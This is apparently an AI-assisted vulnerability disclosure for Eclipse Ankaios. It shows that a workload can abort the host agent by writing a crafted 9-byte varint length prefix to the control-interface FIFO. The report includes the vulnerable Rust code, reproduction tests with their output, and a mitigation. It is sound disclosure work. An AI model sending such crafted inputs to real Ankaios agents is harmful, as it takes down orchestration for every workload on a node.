[Eclipse Ankaios] Unbounded allocation in control-interface FIFO reader allows a workload to abort the Ankaios agent
> [!warning] AI-Generated Vulnerability Report
> This report was produced using AI-assisted security analysis, adversarially verified but not human-confirmed. This finding was challenged against the codebase and survived; we filter out low-confidence results rather than forwarding raw model output. Technical details, exploitability, and severity may still be wrong. Please validate independently before acting.
<details open>
<summary><strong>Basic information</strong></summary>
**Project name:** Eclipse Ankaios
**Project id:** automotive.ankaios
**Repository:** https://github.com/eclipse-ankaios/ankaios
</details>
<details>
<summary><strong>What are the affected versions?</strong></summary>
All released versions that expose the control interface to workloads —
`v0.1.0` through `v1.0.0` inclusive — contain the unbounded
`vec![0; size]`. The `input_pipe.rs` form is present from `v0.6.0-rc1`
onward; identical code lived in `reopen_file.rs` before that.
</details>
<details open>
<summary><strong>Summary</strong></summary>
The Ankaios agent reads length-delimited protobuf messages from a FIFO that
is bind-mounted into workload containers. The length prefix is decoded as a
`u64` varint and passed directly to `vec![0; size]` with no upper bound. A
workload that writes a 9-byte varint encoding `isize::MAX` causes
`handle_alloc_error()` to abort the entire `ank-agent` process, taking down
orchestration for every workload on the node.
</details>
<details>
<summary><strong>Severity</strong></summary>
**Medium**
* **Trust boundary crossed:** workload container → host orchestrator
process. The control interface exists precisely so that workloads can be
given *limited* authority; the very first bytes a workload sends are
parsed before any authorisation check runs.
* **Precondition:** the workload must have a non-empty
`controlInterfaceAccess.allowRules` so that the agent creates and mounts
the FIFO (`WorkloadSpec::needs_control_interface`,
`ankaios_api/src/ank_base/workload.rs:89-91`). This is a documented,
recommended pattern (e.g. granting a workload read access to its own
state, or log access to one peer). It is **not** the default for every
workload, which keeps this out of High.
* **Impact:** full-process abort of `ank-agent` from 9 attacker-controlled
bytes. All co-located workloads lose lifecycle management, log streaming
and state propagation. If the agent is supervised (`systemd`
`Restart=always`) the workload can re-trigger on every restart for a
persistent DoS.
* **Not High** because a fresh quickstart install with no
`controlInterfaceAccess` configured is unaffected; the operator must have
granted *some* access first.
</details>
<details>
<summary><strong>Weakness / CWE</strong></summary>
* CWE-789: Memory Allocation with Excessive Size Value
* CWE-1284: Improper Validation of Specified Quantity in Input
* CWE-400: Uncontrolled Resource Consumption
</details>
<details>
<summary><strong>Location</strong></summary>
`agent/src/control_interface/input_pipe.rs:59-68`
```rust
async fn try_read_protobuf_data(file: &mut BufReader<Receiver>) -> Result<Vec<u8>, Error> {
let varint_data = Self::try_read_varint_data(file).await?;
let mut varint_data = Box::new(&varint_data[..]);
let size = prost::encoding::decode_varint(&mut varint_data)? as usize;
let mut buf = vec![0; size]; // ← unbounded
file.read_exact(&mut buf[..]).await?;
Ok(buf)
}
```
`try_read_varint_data` (`input_pipe.rs:70-82`) reads up to
`MAX_VARINT_SIZE = 19` bytes from the FIFO; `decode_varint` accepts any value
up to `u64::MAX`.
</details>
<details>
<summary><strong>Origin</strong></summary>
The pattern has existed since the initial commit
(`1ee8e336`, `agent/src/control_interface/reopen_file.rs:89-93`), and was
carried over verbatim when the file was renamed to `input_pipe.rs` in
`fd5e5b55` / `a8ce4010` (PR \#487, *"Switch the Control Interface to tokio
net pipes"*).
</details>
<details>
<summary><strong>Methodology</strong></summary>
The control interface FIFO (`/run/ankaios/control_interface/output` from the
workload's perspective) was identified as the primary workload→agent trust
boundary. `ControlInterfaceTask::run`
(`agent/src/control_interface/control_interface_task.rs`) calls
`InputPipe::read_protobuf_data` on bytes written by the workload; the
authoriser only runs *after* decoding succeeds, so framing is fully
attacker-controlled. The varint→`vec!` path was inspected for a length
bound and none was found.
</details>
<details>
<summary><strong>Validation</strong></summary>
Two reproductions were written and executed at the audited commit.
### A. In-tree unit test — proves `size` flows unmodified into `vec![0; size]`
A test was appended to `agent/src/control_interface/input_pipe.rs`:
```rust
#[tokio::test(flavor = "multi_thread")]
async fn security_audit_unbounded_alloc_vmsize() {
let tmpdir = tempfile::tempdir().unwrap();
let fifo = tmpdir.path().join("fifo");
mkfifo(&fifo, Mode::S_IRWXU).unwrap();
let mut reading_side = super::InputPipe::open(&fifo);
let attacker_len: u64 = 4 * 1024 * 1024 * 1024; // 4 GiB
let mut varint = Vec::new();
prost::encoding::encode_varint(attacker_len, &mut varint);
eprintln!("[audit] attacker writes {} bytes (varint for {} GiB): {:02x?}",
varint.len(), attacker_len / (1024*1024*1024), varint);
let vsz_before = vm_kb("VmSize");
let read_handle = tokio::spawn(async move {
let _ = reading_side.read_protobuf_data().await;
});
let mut writing_side = super::OpenOptions::new().open_sender(&fifo).unwrap();
writing_side.write_all(&varint).await.unwrap();
tokio::time::sleep(Duration::from_millis(300)).await;
let vsz_after = vm_kb("VmSize");
/* … assert delta ≈ 4 GiB … */
}
```
Run:
```
$ PROTOC=/tmp/protoc/bin/protoc cargo test -p ank-agent --target x86_64-unknown-linux-gnu \
security_audit_unbounded_alloc_vmsize -- --nocapture --test-threads=1
running 1 test
test control_interface::input_pipe::tests::security_audit_unbounded_alloc_vmsize ...
[audit] attacker writes 5 bytes (varint for 4 GiB): [80, 80, 80, 80, 10]
[audit] agent VmSize before: 1173948 kB
[audit] agent VmSize after: 5368256 kB
[audit] VmSize delta: 4.00 GiB from a 5-byte FIFO write
[audit] CONFIRMED: vec![0; size] sized directly from untrusted varint.
ok
```
### B. Standalone — proves whole-process abort
`reports/repro/agent_alloc_dos/src/main.rs` copies
`try_read_protobuf_data` / `try_read_varint_data` verbatim from
`input_pipe.rs` and reads from a FIFO. `reports/repro/agent_alloc_dos/run.sh`
writes the 9-byte varint for `isize::MAX` and waits:
```
$ bash reports/repro/agent_alloc_dos/run.sh
== building victim (verbatim copy of InputPipe::try_read_protobuf_data) ==
== launching victim (stands in for ank-agent control-interface task) ==
[victim] opening FIFO /tmp/ankaios_ci_output.5yEoqC
[victim] reading length-delimited protobuf (agent code path)
== attacker: workload writes 9 bytes to FIFO (varint for isize::MAX) ==
== waiting for victim to exit ==
memory allocation of 9223372036854775807 bytes failed
note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace
reports/repro/agent_alloc_dos/run.sh: line 40: 2222520 Aborted (core dumped) "$BIN" "$FIFO"
== result ==
victim exit status: 134
victim was killed by signal 6 (SIGABRT=6, SIGSEGV=11)
CONFIRMED: 9 attacker-controlled bytes on the control-interface FIFO
abort the agent process via handle_alloc_error().
```
`handle_alloc_error` calls `abort()`, which is process-wide; in the real
agent the per-workload `ControlInterfaceTask` is just a `tokio::spawn`ed
task inside the single `ank-agent` process, so the abort takes the whole
agent with it.
</details>
<details>
<summary><strong>Detail</strong></summary>
* The FIFO pair is created per-workload under
`<run_folder>/<workload_instance>/control_interface/{input,output}`
(`agent/src/control_interface.rs`) and bind-mounted into the container at
`/run/ankaios/control_interface/` by the runtime connector. The workload
writes raw bytes to `output`; nothing on the agent side filters those
bytes before `InputPipe::read_protobuf_data` is invoked.
* `try_read_varint_data` reads up to 19 bytes — enough to encode any
`u64`. `prost::encoding::decode_varint` will happily return values up to
`u64::MAX`; the cast `as usize` is lossless on 64-bit targets.
* For `size > isize::MAX`, `Layout::array::<u8>` fails and `RawVec` calls
`capacity_overflow()`, which **panics** — that only kills the spawned
task. The attacker therefore picks a size `≤ isize::MAX` that the
allocator will refuse:
* On Linux with default heuristic overcommit (`vm.overcommit_memory=0`),
`mmap` of obviously-too-large anonymous regions is rejected; the
9.2 EiB request from `isize::MAX` is rejected on every realistic host.
`Global::allocate_zeroed` returns `Err`, `RawVec` calls
`handle_alloc_error`, the process is **aborted**.
* On hosts with `RLIMIT_AS` set or strict overcommit
(`vm.overcommit_memory=2`), much smaller values trigger the same abort.
* If the platform's overcommit *does* accept the mapping, `read_exact` then
faults pages in 1:1 with bytes the workload streams, eventually
triggering the kernel OOM-killer against `ank-agent`. This is a slower
variant of the same DoS.
</details>
<details>
<summary><strong>Prior Art</strong></summary>
* `git log --all --grep` for `varint`, `allocation`, `decode_varint`,
`DoS`, `denial` returned no relevant commits.
* GitHub issue \#316 (*"Handle not read control interface messages in
agent"*) is about the **opposite** direction (agent flooding the
workload's `input` pipe) and does not touch this code path.
* No GitHub Security Advisories are published for the repository.
</details>
<details>
<summary><strong>Steps to reproduce</strong></summary>
From inside a workload container that has any `controlInterfaceAccess`
allow rule:
**Proof of concept:** [poc.sh](/uploads/7e1b41fd4e48577b85a41e6ce750dc7c/poc.sh)
That single 9-byte write aborts `ank-agent` on the host.
</details>
<details>
<summary><strong>Do you know any mitigations of the issue?</strong></summary>
Bound the decoded length before allocating. The agent already defines a
2 MiB log-message ceiling in `common/src/message_size.rs`; the same scale
is appropriate here, and well above any legitimate `ToAnkaios` message.
**Suggested fix:** [fix.rs](/uploads/bb812039fe9aa1f30bd27405320064cd/fix.rs)
The error path is already handled by `ControlInterfaceTask::run`, which
treats `Err` from `read_protobuf_data` as a malformed frame and continues.
<!-- l1-helper-dup: 11f42999505b10f962653af954a06eb3590d9ece902a841fb00b7d34a04d2ee5 -->
</details>
issue